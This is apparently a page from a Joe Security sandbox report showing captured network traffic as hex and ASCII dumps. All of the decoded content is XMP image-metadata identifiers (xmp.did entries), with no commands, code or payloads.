20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 30 
35 37 36 42 32 30 45 30 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 
30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 43 35 34 41 46 37 37 43 34 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 43 36 
39 31 33 33 31 39 35 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 
31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 45 30 42 30 41 33 41 38 
Data Ascii: 174072068118F62F9CED41D85DF</rdf:li> <rdf:li>xmp.did:06801174072068119109C0576B20E0BF</rdf:li> 
<rdf:li>xmp.did:06801174072068119109CC54AF77C4A4</rdf:li> <rdf:li>xmp.did:068011740720681192B08C6913319
5C8</rdf:li> <rdf:li>xmp.did:068011740720681192B0E0B0A3A8

2022-06-08 07:56:17 UTC 6122 IN Data Raw: 32 39 2d 65 30 31 36 64 30 31 38 38 66 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 30 63 30 36 33 64 63 32 2d 31 66 31 32 2d 34 61 33 31 2d 38 38 38 64 2d 66 30 32 35 63 36 63 64 64 39 
64 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 63 31 64 64 61 33 65 2d 39 35 
63 39 2d 63 34 34 63 2d 61 66 33 30 2d 36 30 35 30 63 34 61 66 63 62 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 63 31 66 64 61 30 63 2d 33 38 65 36 2d 62 31 34 37 2d 39 63 34 32 2d 64 30 34 
36 36 61 66 39 36 64 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 63 33 32 
63 37 61 35 2d 34 65 61 33 2d 34 36 65 33 2d 61 63 33 39 2d 66 61 65 39 
Data Ascii: 29-e016d0188f7a</rdf:li> <rdf:li>xmp.did:0c063dc2-1f12-4a31-888d-f025c6cdd9db</rdf:li> <rdf:li>xmp
.did:0c1dda3e-95c9-c44c-af30-6050c4afcb14</rdf:li> <rdf:li>xmp.did:0c1fda0c-38e6-b147-9c42-d0466af96d00</rdf:li> 
<rdf:li>xmp.did:0c32c7a5-4ea3-46e3-ac39-fae9
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2022-06-08 07:56:17 UTC 6138 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 46 33 46 35 38 46 32 31 34 32 30 36 38 31 
31 41 43 41 46 38 45 30 41 46 42 44 41 33 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 31 46 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 46 36 41 37 35 41 41 41 46 32 46 45 30 31 31 
38 45 39 37 38 33 31 35 35 38 30 42 36 34 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 31 46 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 46 37 
Data Ascii: li> <rdf:li>xmp.did:1F3F58F214206811ACAF8E0AFBDA3B56</rdf:li> <rdf:li>xmp.did:1F68B941B5
256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:1F6A75AAAF2FE0118E978315580B6493</rdf:li> <rdf:li>xm
p.did:1F7A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:1F7

2022-06-08 07:56:17 UTC 6145 IN Data Raw: 42 35 46 30 33 46 41 45 30 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 32 34 46 32 36 30 37 35 32 41 32 30 36 38 31 31 42 38 45 41 42 38 31 32 39 34 38 43 42 42 35 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 34 65 62 30 39 38 66 2d 31 31 37 32 2d 34 33 32 38 
2d 62 61 37 33 2d 34 64 31 38 32 65 64 64 61 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 32 34 66 62 35 31 32 64 2d 64 37 66 38 2d 34 63 65 32 2d 61 36 35 65 2d 38 31 38 39 65 63 64 39 61 30 
30 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 30 30 63 61 66 31 2d 38 38 
62 36 2d 65 63 34 39 2d 62 33 34 39 2d 62 33 38 34 31 32 65 39 33 63 36 
Data Ascii: B5F03FAE0379</rdf:li> <rdf:li>xmp.did:24F260752A206811B8EAB812948CBB52</rdf:li> <rdf:li>xmp.did:24
eb098f-1172-4328-ba73-4d182edda217</rdf:li> <rdf:li>xmp.did:24fb512d-d7f8-4ce2-a65e-8189ecd9a00f</rdf:li> <rdf
:li>xmp.did:2500caf1-88b6-ec49-b349-b38412e93c6

2022-06-08 07:56:17 UTC 6161 IN Data Raw: 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 44 46 36 31 46 41 
44 34 32 31 36 38 31 31 42 36 43 38 39 31 43 38 45 30 42 37 37 43 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 45 36 34 45 36 33 36 44 38 41 44 46 31 31 38 33 35 36 41 38 37 35 33 34 34 44 
30 39 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 46 30 31 38 42 33 31 3
3 32 30 36 38 31 31 39 32 42 30 43 30 39 41 39 46 38 46 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 33 32 46 38 46 38 37 35 44 42 31 45 31 31 45 30 39 33 36 44 43 38 32 38 45 41 38 37 45 42 
45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: F5</rdf:li> <rdf:li>xmp.did:32DF61FAD4216811B6C891C8E0B77C98</rdf:li> <rdf:li>xmp.did:32E64E636D8A
DF118356A875344D09D5</rdf:li> <rdf:li>xmp.did:32F018B31320681192B0C09A9F8F6D74</rdf:li> <rdf:li>xmp.
did:32F8F875DB1E11E0936DC828EA87EBE3</rdf:li> <rdf:li>xmp

2022-06-08 07:56:17 UTC 6177 IN Data Raw: 38 36 34 44 45 34 39 30 42 32 35 42 31 36 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 34 30 32 39 33 34 43 34 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 34 33 46 32 34 41 30 43 32 31 36 38 
31 31 39 31 30 39 42 34 42 43 37 44 42 39 45 35 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 34 30 34 64 35 30 38 64 2d 39 36 66 32 2d 34 34 61 33 2d 39 34 66 66 2d 63 36 66 33 38 61 39 39 66 35 
32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 35 46 44 42 33 35 32 43 32 
30 36 38 31 31 38 43 31 34 42 46 45 35 30 46 36 31 45 32 42 34 3c 2f 72 
Data Ascii: 864DE490B25B16B9</rdf:li> <rdf:li>xmp.did:402934C40720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.di
d:4043F24A0C2168119109B4BC7DB9E54F</rdf:li> <rdf:li>xmp.did:404d508d-96f2-44a3-94ff-c6f38a99f527</rdf:li> <rdf
:li>xmp.did:405FDB352C2068118C14BFE50F61E2B4</r

2022-06-08 07:56:17 UTC 6185 IN Data Raw: 33 31 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 33 34 39 30 
44 30 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 33 65 37 39 63 31 2d 36 36 36 33 2d 34 33 66 65 2d 38 62 35 66 2d 33 64 
30 32 34 64 62 37 65 35 30 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 34 4
2 41 31 45 44 39 38 31 42 45 32 31 31 42 30 35 41 45 31 30 42 36 33 43 43 36 32 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 34 62 39 38 37 30 2d 33 64 36 33 2d 34 66 39 37 2d 39 62 31 62 2d 
38 61 30 63 31 32 35 39 66 38 62 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: 319E</rdf:li> <rdf:li>xmp.did:473490D0901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:473e79c1-6
663-43fe-8b5f-3d024db7e50c</rdf:li> <rdf:li>xmp.did:474BA1ED981BE211B05AE10B63CC62F0</rdf:li> <rdf:li>xmp.did:
474b9870-3d63-4f97-9b1b-8a0c1259f8b7</rdf:li> <

2022-06-08 07:56:17 UTC 6201 IN Data Raw: 62 64 61 62 2d 33 62 39 31 63 36 30 30 66 38 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 35 35 35 34 33 45 45 42 33 41 32 30 36 38 31 31 42 30 37 30 43 45 35 45 35 33 41 46 30 37 42 46 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 35 38 65 31 30 34 2d 34 30 65 61 
2d 34 38 33 30 2d 61 39 62 36 2d 63 65 65 66 63 66 64 31 62 31 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 35 35 35 65 64 37 61 38 2d 63 31 64 38 2d 39 66 34 30 2d 62 39 65 63 2d 39 36 62 66 66 
61 31 30 39 36 62 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 37 33 64 36 
30 66 2d 64 39 62 63 2d 34 38 32 66 2d 39 35 32 30 2d 32 36 63 61 64 39 
Data Ascii: bdab-3b91c600f862</rdf:li> <rdf:li>xmp.did:55543EEB3A206811B070CE5E53AF07BF</rdf:li> <rdf:li>xmp.d
id:5558e104-40ea-4830-a9b6-ceefcfd1b113</rdf:li> <rdf:li>xmp.did:555ed7a8-c1d8-9f40-b9ec-96bffa1096b9</rdf:li> 
<rdf:li>xmp.did:5573d60f-d9bc-482f-9520-26cad9

2022-06-08 07:56:17 UTC 6217 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 34 33 43 32 41 42 37 43 37 43 
46 45 31 31 31 38 42 35 32 39 32 33 41 33 31 41 39 32 33 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 36 34 33 46 39 35 46 35 42 30 38 32 44 45 31 31 42 31 37 39 45 35 34 43 31 44 39 39 34 41 45 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 34 33 64 39 39 33 32 2d 37 39 30 3
1 2d 34 31 32 64 2d 62 65 33 62 2d 31 62 63 38 62 35 34 65 30 64 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 36 34 34 66 31 31 35 33 2d 32 65 64 38 2d 34 37 30 31 2d 62 38 37 34 2d 30 65 61 62 62 
37 31 34 61 62 36 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: /rdf:li> <rdf:li>xmp.did:643C2AB7C7CFE1118B52923A31A9235A</rdf:li> <rdf:li>xmp.did:643F95F5B082DE1
1B179E54C1D994AED</rdf:li> <rdf:li>xmp.did:643d9932-7901-412d-be3b-1bc8b54e0da8</rdf:li> <rdf:li>xmp.did:644f1
153-2ed8-4701-b874-0eabb714ab6e</rdf:li> <rdf:l

2022-06-08 07:56:17 UTC 6225 IN Data Raw: 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 
46 39 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 43 39 32 36 42 39 37 
35 44 46 45 35 31 31 38 36 31 35 43 31 33 45 35 38 42 42 32 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 36 42 44 33 45 45 38 30 31 32 32 31 36 38 31 31 39 32 42 30 46 46 35 36 43 33 43 46 41 
42 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 44 39 38 43 30 36 44 32 
32 30 36 38 31 31 38 41 36 44 45 41 41 36 46 43 42 45 37 30 44 32 3c 2f 
Data Ascii: 2E8118D3CA650EC53AA58</rdf:li> <rdf:li>xmp.did:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li> 
<rdf:li>xmp.did:6BC926B975DFE5118615C13E58BB2D7F</rdf:li> <rdf:li>xmp.did:6BD3EE801221681192B0FF56C
3CFAB21</rdf:li> <rdf:li>xmp.did:6BD98C06D22068118A6DEAA6FCBE70D2</
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2022-06-08 07:56:17 UTC 6241 IN Data Raw: 34 31 34 31 34 45 30 31 31 38 38 41 34 46 34 41 46 31 33 46 35 39 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 34 35 37 62 32 36 2d 39 64 34 35 2d 38 38 34 39 2d 61 64 37 39 2d 
66 31 37 34 30 38 63 37 61 31 65 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 
39 37 33 42 37 34 43 30 42 32 30 36 38 31 31 38 43 31 34 46 46 33 41 32 46 35 35 31 46 30 34 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 37 33 43 33 46 31 34 42 32 32 36 38 31 31 39 34 35 37 45 
36 37 45 45 31 43 44 37 45 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 
41 41 46 46 43 36 30 37 32 30 36 38 31 31 38 43 31 34 41 30 45 42 30 30 
Data Ascii: 41414E01188A4F4AF13F595CF</rdf:li> <rdf:li>xmp.did:79457b26-9d45-8849-ad79-f17408c7a1e0</rdf:li> <
rdf:li>xmp.did:7973B74C0B2068118C14FF3A2F551F04</rdf:li> <rdf:li>xmp.did:7973C3F14B2268119457E67EE1C
D7E14</rdf:li> <rdf:li>xmp.did:79AAFFC6072068118C14A0EB00

2022-06-08 07:56:17 UTC 6257 IN Data Raw: 39 61 34 35 2d 61 37 65 30 2d 33 38 62 34 38 66 36 38 37 33 33 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 64 62 36 36 30 64 2d 61 33 61 38 2d 34 31 66 37 2d 61 39 66 39 2d 63 38 66 
35 62 30 65 34 65 37 35 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 30 30 
65 31 34 32 2d 61 35 66 35 2d 34 35 30 34 2d 39 37 38 63 2d 31 63 36 61 66 32 36 38 34 65 36 38 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 42 41 
41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 
38 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 
Data Ascii: 9a45-a7e0-38b48f68733d</rdf:li> <rdf:li>xmp.did:87db660d-a3a8-41f7-a9f9-c8f5b0e4e75e</rdf:li> <rdf
:li>xmp.did:8800e142-a5f5-4504-978c-1c6af2684e68</rdf:li> <rdf:li>xmp.did:8802E4874D206811A7BAA9F948
A39F42</rdf:li> <rdf:li>xmp.did:880B2DDEFD9DE111ADD29B684

2022-06-08 07:56:17 UTC 6265 IN Data Raw: 42 30 46 32 41 36 39 39 41 31 35 35 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 38 61 30 30 35 35 36 36 2d 30 31 30 33 2d 64 32 34 66 2d 38 39 64 31 2d 38 35 64 39 62 37 34 39 33 30 64 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 61 31 65 65 31 30 35 2d 65 32 32 
66 2d 34 61 31 30 2d 38 31 63 37 2d 34 64 37 38 30 64 36 32 38 61 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 38 61 36 62 31 36 61 62 2d 32 30 65 37 2d 34 38 34 35 2d 62 66 61 39 2d 61 34 35 32 
37 64 34 37 39 65 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 61 38 38 66 
33 35 61 2d 64 66 36 34 2d 34 32 66 32 2d 62 65 63 62 2d 33 34 64 62 64 
Data Ascii: B0F2A699A155D2</rdf:li> <rdf:li>xmp.did:8a005566-0103-d24f-89d1-85d9b74930d6</rdf:li> <rdf:li>xmp.
did:8a1ee105-e22f-4a10-81c7-4d780d628afc</rdf:li> <rdf:li>xmp.did:8a6b16ab-20e7-4845-bfa9-a4527d479ea9</rdf:li> 
<rdf:li>xmp.did:8a88f35a-df64-42f2-becb-34dbd

2022-06-08 07:56:17 UTC 6281 IN Data Raw: 39 37 41 35 46 43 37 42 34 41 33 32 36 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 39 43 34 38 37 36 36 43 30 39 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 34 41 38 43 35 45 43 41 37 39 45 32 
31 31 38 32 38 31 46 42 33 31 38 34 32 39 30 42 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 39 43 35 31 43 34 39 34 42 33 34 32 45 34 31 31 41 41 41 37 39 45 30 31 32 34 46 38 45 33 30 33 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 36 32 42 35 35 41 46 44 37 46 45 35 31 
31 39 45 45 44 46 42 32 34 43 43 45 30 37 39 39 42 3c 2f 72 64 66 3a 6c 
Data Ascii: 97A5FC7B4A3264B5</rdf:li> <rdf:li>xmp.did:9C48766C0920681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.di
d:9C4A8C5ECA79E2118281FB3184290BB9</rdf:li> <rdf:li>xmp.did:9C51C494B342E411AAA79E0124F8E303</rdf:li> 
<rdf:li>xmp.did:9C62B55AFD7FE5119EEDFB24CCE0799B</rdf:l

2022-06-08 07:56:17 UTC 6297 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 43 43 33 38 43 33 31 43 33 45 45 32 31 31 38 32 32 31 45 
45 34 41 38 31 36 38 36 41 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 
45 30 39 30 34 41 30 44 32 30 36 38 31 31 38 41 36 44 44 35 39 43 30 38 34 43 38 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 45 34 36 39 39 41 32 31 32 30 36 38 31 31 41 46 46 44 46 41 
39 44 36 37 39 37 37 43 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 46 45 
36 44 33 32 35 31 30 32 34 36 38 31 31 41 43 41 46 42 46 45 45 41 36 46 39 30 31 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 30 30 37 45 30 43 42 46 
Data Ascii: df:li>xmp.did:AFCC38C31C3EE2118221EE4A81686A3E</rdf:li> <rdf:li>xmp.did:AFE0904A0D206811
8A6DD59C084C826C</rdf:li> <rdf:li>xmp.did:AFE4699A21206811AFFDFA9D67977CB5</rdf:li> <rdf:li>xmp.did:
AFE6D32510246811ACAFBFEEA6F90131</rdf:li> <rdf:li>xmp.did:B007E0CBF

2022-06-08 07:56:17 UTC 6301 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 36 42 31 34 33 32 37 36 36 34 45 30 31 31 
42 45 34 31 42 31 35 41 36 41 30 32 39 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 42 36 38 33 38 31 43 45 30 39 32 37 44 46 31 31 38 38 38 44 44 45 32 41 36 37 41 41 38 32 38 45 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 38 38 30 42 41 31 41 44 32 30 36 38 31 31 38 
32 44 34 43 45 42 42 36 42 31 30 43 37 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 42 36 39 31 46 43 31 38 35 35 32 30 36 38 31 31 39 42 34 37 38 38 43 32 30 42 38 44 35 37 34 39 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 39 46 
Data Ascii: i> <rdf:li>xmp.did:B66B14327664E011BE41B15A6A029915</rdf:li> <rdf:li>xmp.did:B68381CE092
7DF11888DDE2A67AA828E</rdf:li> <rdf:li>xmp.did:B6880BA1AD20681182D4CEBB6B10C7C6</rdf:li> <rdf:li>xmp
.did:B691FC18552068119B4788C20B8D5749</rdf:li> <rdf:li>xmp.did:B69F

2022-06-08 07:56:17 UTC 6317 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 42 35 46 37 34 45 44 41 32 30 36 38 31 31 39 32 42 30 39 44 43 
44 33 35 32 31 38 41 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 42 45 
46 36 32 38 36 45 30 44 45 30 31 31 41 41 31 39 38 36 44 42 46 31 45 45 30 30 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 44 32 32 39 34 43 32 44 32 30 36 38 31 31 42 31 41 34 44 37 30 39 
43 35 39 34 36 34 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 44 34 37 
42 35 34 31 38 32 30 36 38 31 31 41 46 37 34 42 37 41 39 36 44 38 45 41 38 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 44 45 45 46 37 30 32 33 32 
Data Ascii: :li>xmp.did:CDB5F74EDA20681192B09DCD35218AAA</rdf:li> <rdf:li>xmp.did:CDBEF6286E0DE011AA
1986DBF1EE009B</rdf:li> <rdf:li>xmp.did:CDD2294C2D206811B1A4D709C59464F0</rdf:li> <rdf:li>xmp.did:CD
D47B5418206811AF74B7A96D8EA8BE</rdf:li> <rdf:li>xmp.did:CDDEEF70232

2022-06-08 07:56:17 UTC 6333 IN Data Raw: 38 43 31 34 46 34 45 46 32 30 45 42 43 38 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 45 30 35 44 36 44 38 41 34 42 35 39 31 31 45 35 42 35 43 46 42 35 32 46 43 44 35 35 44 43 42 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 30 35 44 41 45 41 46 34 35 32 33 36 38 
31 31 41 43 30 33 46 43 32 43 35 38 45 33 34 31 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 45 30 36 36 44 41 43 42 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 30 41 30 46 37 30 39 35 36 36 31 45 31 31 
31 41 37 38 43 39 33 45 46 36 46 46 41 35 35 43 33 3c 2f 72 64 66 3a 6c 
Data Ascii: 8C14F4EF20EBC8D3</rdf:li> <rdf:li>xmp.did:E05D6D8A4B5911E5B5CFB52FCD55DCB3</rdf:li> <rdf
:li>xmp.did:E05DAEAF45236811AC03FC2C58E341D1</rdf:li> <rdf:li>xmp.did:E066DACB0720681192B0E90D048EA7
2C</rdf:li> <rdf:li>xmp.did:E0A0F7095661E111A78C93EF6FFA55C3</rdf:l

Timestamp
kBytes
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Copyright Joe Security LLC 2022 Page 155 of 211



2022-06-08 07:56:17 UTC 6340 IN Data Raw: 37 39 34 39 34 46 36 32 46 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 45 44 31 46 44 35 45 39 43 37 36 32 45 30 31 31 39 39 33 30 46 42 34 41 34 42 45 32 33 39 46 46 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 44 32 31 43 42 33 33 34 42 38 36 45 31 31 31 38 38 32 
32 39 36 42 33 43 33 31 39 35 34 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 4
5 44 32 44 34 43 39 37 33 45 30 42 45 34 31 31 42 34 46 36 43 30 39 35 30 31 44 32 36 39 32 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 44 33 33 39 43 34 38 38 45 30 39 31 31 45 31 42 31 39 37 44 
44 41 34 39 42 39 45 43 42 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: 79494F62FDF</rdf:li> <rdf:li>xmp.did:ED1FD5E9C762E0119930FB4A4BE239FF</rdf:li> <rdf:li>xmp.did:ED2
